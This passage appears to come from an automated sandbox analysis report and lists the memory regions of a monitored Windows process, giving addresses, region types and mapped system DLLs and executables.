(normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2130 start_va = 0x180000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2131 start_va = 0x1c0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2132 start_va = 0x1e0000 end_va = 0x1ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 2133 start_va = 0x1f0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2134 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 2135 start_va = 0x3f0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2136 start_va = 0x4b0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 2137 start_va = 0x4d0000 end_va = 0x4d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 2138 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 2139 start_va = 0x4f0000 end_va = 0x677fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 2140 start_va = 0x680000 end_va = 0x800fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 2141 start_va = 0x810000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 2142 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 2143 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 2144 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 2145 start_va = 0x8c0000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 2146 start_va = 0x8d0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 2147 start_va = 0x8f0000 end_va = 0x8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 2148 start_va = 0x900000 end_va = 0x907fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 2149 start_va = 0x910000 end_va = 0x910fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 2150 start_va = 0x920000 end_va = 0x920fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 2151 start_va = 0x930000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 2152 start_va = 0x9b0000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 2153 start_va = 0xa30000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 2154 start_va = 0xbe0000 end_va = 0xeaefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2155 start_va = 0xef0000 end_va = 0xf6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 2156 start_va = 0xfd0000 end_va = 0x104ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 2157 start_va = 0x1050000 end_va = 0x10cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2158 start_va = 0x10d0000 end_va = 0x1131fff monitored = 0 entry_point = 0x10e08d8 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2159 start_va = 0x1180000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001180000" filename = "" Region: id = 2160 start_va = 0x1210000 end_va = 0x128ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 2161 start_va = 0x12a0000 end_va = 0x139ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012a0000" filename = "" Region: id = 2162 start_va = 0x13c0000 end_va = 0x143ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 2163 start_va = 0x1480000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 2164 start_va = 0x15c0000 end_va = 0x163ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 2165 start_va = 0x16a0000 end_va = 0x171ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016a0000" filename = "" Region: id = 2166 start_va = 0x1730000 end_va = 0x17affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001730000" filename = "" Region: id = 2167 start_va = 0x1820000 end_va = 0x189ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001820000" filename = "" Region: id = 2168 start_va = 0x18d0000 end_va = 0x194ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018d0000" filename = "" Region: id = 2169 start_va = 0x1950000 end_va = 0x19cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 2170 start_va = 0x1a00000 end_va = 0x1a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 2171 start_va = 0x1a80000 end_va = 0x1c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 2172 start_va = 0x1c90000 end_va = 0x1d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c90000" filename = "" Region: id = 2173 start_va = 0x1d90000 end_va = 0x1e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 2174 start_va = 0x1e10000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 2175 start_va = 0x2280000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 2176 start_va = 0x2300000 end_va = 0x2702fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 2177 start_va = 0x2780000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 2178 start_va = 0x2830000 end_va = 0x28affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 2179 start_va = 0x2990000 end_va = 0x2a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 2180 start_va = 0x2a20000 end_va = 0x2a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a20000" filename = "" Region: id = 2181 start_va = 0x2aa0000 end_va = 0x2b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002aa0000" filename = "" Region: id = 2182 start_va = 0x2ba0000 end_va = 0x339ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ba0000" filename = "" Region: id = 2183 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2184 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2185 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2186 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2187 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2188 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2189 start_va = 0xff280000 end_va = 0xff2e1fff monitored = 0 entry_point = 0xff2908d8 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2190 start_va = 0xff5b0000 end_va = 0xff602fff monitored = 0 entry_point = 0xff5c3310 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 2191 start_va = 0xff8c0000 end_va = 0xff8cafff monitored = 0 entry_point = 0xff8c246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2192 start_va = 0x7fef0770000 end_va = 0x7fef0894fff monitored = 0 entry_point = 0x7fef07c1570 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 2193 start_va = 0x7fef08a0000 end_va = 0x7fef08bbfff monitored = 0 entry_point = 0x7fef08a1060 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 2194 start_va = 0x7fef1260000 end_va = 0x7fef130dfff monitored = 0 entry_point = 0x7fef1264104 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 2195 start_va = 0x7fef5000000 end_va = 0x7fef5012fff monitored = 0 entry_point = 0x7fef5001d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2196 start_va = 0x7fef52e0000 end_va = 0x7fef52edfff monitored = 0 entry_point = 0x7fef52e5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2197 start_va = 0x7fef52f0000 end_va = 0x7fef5316fff monitored = 0 entry_point = 0x7fef52f11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2198 start_va = 0x7fef5320000 end_va = 0x7fef53f2fff monitored = 0 entry_point = 0x7fef5398b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2199 start_va = 0x7fef55a0000 end_va = 0x7fef5616fff monitored = 0 entry_point = 0x7fef55de7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 2200 start_va = 0x7fef7bd0000 end_va = 0x7fef7beafff monitored = 0 entry_point = 0x7fef7bd1198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2201 start_va = 0x7fef8380000 end_va = 0x7fef83cefff monitored = 0 entry_point = 0x7fef8382760 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 2202 start_va = 0x7fefae70000 end_va = 0x7fefae87fff monitored = 0 entry_point = 0x7fefae71bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2203 start_va = 0x7fefae90000 end_va = 0x7fefaea0fff monitored = 0 entry_point = 0x7fefae916ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2204 start_va = 0x7fefb010000 end_va = 0x7fefb04afff monitored = 0 entry_point = 0x7fefb014520 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 2205 start_va = 0x7fefb050000 end_va = 0x7fefb0a0fff monitored = 0 entry_point = 0x7fefb05f6c0 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 2206 start_va = 0x7fefb0c0000 end_va = 0x7fefb0c7fff monitored = 0 entry_point = 0x7fefb0c284c region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 2207 start_va = 0x7fefb0d0000 end_va = 0x7fefb0d9fff monitored = 0 entry_point = 0x7fefb0d1adc region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 2208 start_va = 0x7fefb110000 end_va = 0x7fefb11afff monitored = 0 entry_point = 0x7fefb111198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2209 start_va = 0x7fefb120000 end_va = 0x7fefb146fff monitored = 0 entry_point = 0x7fefb1298bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2210 start_va = 0x7fefb5c0000 end_va = 0x7fefb5c8fff monitored = 0 entry_point = 0x7fefb5c1010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 2211 start_va = 0x7fefb5d0000 end_va = 0x7fefb5fbfff monitored = 0 entry_point = 0x7fefb5d15c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2212 start_va = 0x7fefb600000 end_va = 0x7fefb6abfff monitored = 0 entry_point = 0x7fefb616acc region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 2213 start_va = 0x7fefb6b0000 end_va = 0x7fefb6dcfff monitored = 0 entry_point = 0x7fefb6b1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2214 start_va = 0x7fefb850000 end_va = 0x7fefb864fff monitored = 0 entry_point = 0x7fefb851050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2215 start_va = 0x7fefb870000 end_va = 0x7fefb87bfff monitored = 0 entry_point = 0x7fefb8718a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2216 start_va = 0x7fefbb70000 end_va = 0x7fefbbbafff monitored = 0 entry_point = 0x7fefbb7efcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 2217 start_va = 0x7fefbfe0000 end_va = 0x7fefc10bfff monitored = 0 entry_point = 0x7fefbfe94bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2218 start_va = 0x7fefc650000 end_va = 0x7fefc7e5fff monitored = 0 entry_point = 0x7fefc6578e4 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 2219 start_va = 0x7fefc7f0000 end_va = 0x7fefc7fbfff monitored = 0 entry_point = 0x7fefc7f1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2220 start_va = 0x7fefc800000 end_va = 0x7fefc8bafff monitored = 0 entry_point = 0x7fefc806de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 2221 start_va = 0x7fefc8c0000 end_va = 0x7fefc8c6fff monitored = 0 entry_point = 0x7fefc8c14b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2222 start_va = 0x7fefc9b0000 end_va = 0x7fefc9cafff monitored = 0 entry_point = 0x7fefc9b2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2223 start_va = 0x7fefc9d0000 end_va = 0x7fefc9edfff monitored = 0 entry_point = 0x7fefc9d13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2224 start_va = 0x7fefcb20000 end_va = 0x7fefcb29fff monitored = 0 entry_point = 0x7fefcb23cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2225 start_va = 0x7fefcc20000 end_va = 0x7fefcc66fff monitored = 0 entry_point = 0x7fefcc21064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2226 start_va = 0x7fefcd40000 end_va = 0x7fefcd9afff monitored = 0 entry_point = 0x7fefcd46940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2227 start_va = 0x7fefceb0000 end_va = 0x7fefceb6fff monitored = 0 entry_point = 0x7fefceb142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2228 start_va = 0x7fefcec0000 end_va = 0x7fefcf14fff monitored = 0 entry_point = 0x7fefcec1054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2229 start_va = 0x7fefcf20000 end_va = 0x7fefcf37fff monitored = 0 entry_point = 0x7fefcf23b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2230 start_va = 0x7fefd090000 end_va = 0x7fefd0b1fff monitored = 0 entry_point = 0x7fefd095d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2231 start_va = 0x7fefd150000 end_va = 0x7fefd1bcfff monitored = 0 entry_point = 0x7fefd151010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2232 start_va = 0x7fefd4c0000 end_va = 0x7fefd4cafff monitored = 0 entry_point = 0x7fefd4c1030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2233 start_va = 0x7fefd4f0000 end_va = 0x7fefd514fff monitored = 0 entry_point = 0x7fefd4f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2234 start_va = 0x7fefd520000 end_va = 0x7fefd52efff monitored = 0 entry_point = 0x7fefd521010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2235 start_va = 0x7fefd5d0000 end_va = 0x7fefd60cfff monitored = 0 entry_point = 0x7fefd5d18f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2236 start_va = 0x7fefd610000 end_va = 0x7fefd623fff monitored = 0 entry_point = 0x7fefd6110e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2237 start_va = 0x7fefd630000 end_va = 0x7fefd63efff monitored = 0 entry_point = 0x7fefd6319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2238 start_va = 0x7fefd6d0000 end_va = 0x7fefd6defff monitored = 0 entry_point = 0x7fefd6d1020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2239 start_va = 0x7fefd6e0000 end_va = 0x7fefd6f9fff monitored = 0 entry_point = 0x7fefd6e1558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2240 start_va = 0x7fefd700000 end_va = 0x7fefd735fff monitored = 0 entry_point = 0x7fefd701474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2241 start_va = 0x7fefd7e0000 end_va = 0x7fefd84bfff monitored = 0 entry_point = 0x7fefd7e2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2242 start_va = 0x7fefd850000 end_va = 0x7fefd9bcfff monitored = 0 entry_point = 0x7fefd8510b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2243 start_va = 0x7fefd9c0000 end_va = 0x7fefd9fafff monitored = 0 entry_point = 0x7fefd9c1324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2244 start_va = 0x7fefda00000 end_va = 0x7fefdb2cfff monitored = 0 entry_point = 0x7fefda4ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2245 start_va = 0x7fefdb30000 end_va = 0x7fefdbf8fff monitored = 0 entry_point = 0x7fefdbaa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2246 start_va = 0x7fefdc00000 end_va = 0x7fefdc0dfff monitored = 0 entry_point = 0x7fefdc01080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2247 start_va = 0x7fefdc10000 end_va = 0x7fefdc17fff monitored = 0 entry_point = 0x7fefdc11504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2248 start_va = 0x7fefdc20000 end_va = 0x7fefdc90fff monitored = 0 entry_point = 0x7fefdc31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2249 start_va = 0x7fefdca0000 end_va = 0x7fefdd06fff monitored = 0 entry_point = 0x7fefdcab03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2250 start_va = 0x7fefdd10000 end_va = 0x7fefdd5cfff monitored = 0 entry_point = 0x7fefdd11070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2251 start_va = 0x7fefdd60000 end_va = 0x7fefdd7efff monitored = 0 entry_point = 0x7fefdd660e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2252 start_va = 0x7fefdd80000 end_va = 0x7fefdf82fff monitored = 0 entry_point = 0x7fefdda3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2253 start_va = 0x7fefdf90000 end_va = 0x7fefdfe1fff monitored = 0 entry_point = 0x7fefdf910d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2254 start_va = 0x7fefdff0000 end_va = 0x7fefe01dfff monitored = 0 entry_point = 0x7fefdff1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2255 start_va = 0x7fefe020000 end_va = 0x7fefe0fafff monitored = 0 entry_point = 0x7fefe040760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2256 start_va = 0x7fefe280000 end_va = 0x7fefe456fff monitored = 0 entry_point = 0x7fefe281010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2257 start_va = 0x7fefe4e0000 end_va = 0x7fefe5e8fff monitored = 0 entry_point = 0x7fefe4e1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2258 start_va = 0x7fefe850000 end_va = 0x7fefe8e8fff monitored = 0 entry_point = 0x7fefe851c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2259 start_va = 0x7fefe8f0000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe8f3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2260 start_va = 0x7feff930000 end_va = 0x7feff9cefff monitored = 0 entry_point = 0x7feff9325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2261 start_va = 0x7feffa00000 end_va = 0x7feffa00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2262 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 2263 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 2264 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 2265 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 2266 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 2267 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2268 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = 